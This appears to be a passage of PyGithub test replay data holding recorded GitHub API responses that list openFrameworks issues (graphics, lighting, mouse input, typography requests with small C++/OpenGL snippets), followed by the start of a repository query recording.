","user":{"login":"openframeworks","id":142866,"avatar_url":"https://1.gravatar.com/avatar/1061569f505705f6ba1f485673c5cc3b?d=https%3A%2F%2Fidenticons.github.com%2Fa539871f08dd8f7c88f24bb7e1c1ed79.png","gravatar_id":"1061569f505705f6ba1f485673c5cc3b","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://2.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https%3A%2F%2Fidenticons.github.com%2F6e272aa1d97fe0fbc4dd57f465b1c639.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":9,"created_at":"2010-02-13T14:15:25Z","updated_at":"2013-07-19T14:03:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852"}] https GET api.github.com None /repositories/345337/issues?page=16 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '74557'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:19 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/555","id":812623,"number":555,"title":"ofxOpenCv -- ofxCvHaarFinder should have a draw function","user":{"login":"ofZach","id":142897,"avatar_url":"https://2.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https%3A%2F%2Fidenticons.github.com%2F6e272aa1d97fe0fbc4dd57f465b1c639.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-04-26T00:36:47Z","updated_at":"2011-04-26T00:37:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","id":543729,"number":418,"title":"something to wrap glMultMatrixf","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:57:37Z","updated_at":"2011-01-22T15:57:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","id":543694,"number":417,"title":"3D isn't scale invariant in certain parts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:24:07Z","updated_at":"2011-01-22T15:24:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","id":539845,"number":412,"title":"add setMultisampling method to glutWindow","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-20T19:33:30Z","updated_at":"2013-07-05T19:59:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","id":537416,"number":406,"title":"ofEnableLighting","user":{"login":"vanderlin","id":149997,"avatar_url":"https://0.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https%3A%2F%2Fidenticons.github.com%2F9e9c49562cad72e3a40a0e2078c45a2b.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T19:39:36Z","updated_at":"2011-01-19T19:39:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","id":536614,"number":405,"title":"ofViewport doesn't match rest of openFrameworks coordinates","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T13:24:53Z","updated_at":"2011-01-19T13:24:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/403","id":532954,"number":403,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-17T23:39:31Z","updated_at":"2012-06-18T07:28:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/400","id":532096,"number":400,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-17T16:37:42Z","updated_at":"2011-01-17T16:37:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/391","id":529705,"number":391,"title":"ofGetPreviousMouseX/Y() does not update per frame","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2011-01-16T07:21:15Z","updated_at":"2013-08-20T08:44:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/389","id":529700,"number":389,"title":"mouse position doesn't update until mouse is moved","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-01-16T07:11:53Z","updated_at":"2013-07-28T18:49:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this is a limitation to glut, but it might be hackable on each system separately."}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testGraphQlPagination.txt0000644000175100001660000007745214756101563025735 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 19:08:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"673c5f1199083cdc732a68adb10687eef0cddf7b47b98aae062c044d293eeb6e"'), ('Last-Modified', 'Tue, 17 Sep 2024 17:14:19 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1726603586'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F17:39A73C:90E1A8:9263C0:66E9D392')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":